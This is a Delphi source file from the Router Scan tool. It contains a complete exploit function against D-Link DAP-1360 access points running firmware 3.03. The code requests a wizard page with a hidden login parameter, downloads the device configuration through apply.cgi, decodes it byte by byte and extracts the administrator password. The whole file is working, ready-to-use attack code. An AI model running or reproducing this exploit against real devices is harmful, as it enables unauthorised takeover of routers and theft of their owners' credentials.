// Router Scan exploit
// Copyright (C) Stas'M Corp. 2015

// Project home page:
// http://stascorp.com/load/1-1-0-56

function TRouter.Exploit_DLinkDAPWizard(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;
var
  Code, I: Integer;
  L: TStringList;
  MS: TMemoryStream;
  B: Byte;
begin
  // Affected:
  // D-Link DAP-1360 hw C1 fw 3.03
  Result := False;
  if ServerName <> 'CAMEO-httpd' then
    Exit;
  if AuthOk and (AuthUser = 'Admin') then
    Exit;
  if not GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/wizard_select.htm?dEfWzDLOgIn',
  S, Code, 8, 0, ServerName, False, '', '') then
    Exit;
  L := TStringList.Create;
  L.Add('save=Save');
  L.Add('submit-url=/tools_system.htm');
  MS := TMemoryStream.Create;
  if PostHTTPStream('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/apply.cgi?formSaveConfig',
  L, MS, Code, 8, 0, ServerName, UseAuth, AuthUser, AuthPass) then
    if MS.Size > $2000 then begin
      // 6g01
      MS.Position := 0;
      for I := 0 to MS.Size - 1 do begin
        MS.ReadBuffer(B, 1);
        B := not(B + 56);
        MS.Position := MS.Position - 1;
        MS.WriteBuffer(B, 1);
      end;
      AuthUser := 'Admin';
      AuthPass := PAnsiChar(Cardinal(MS.Memory) + $CF);
      Result := True;
    end;
  MS.Free;
  L.Free;
end;
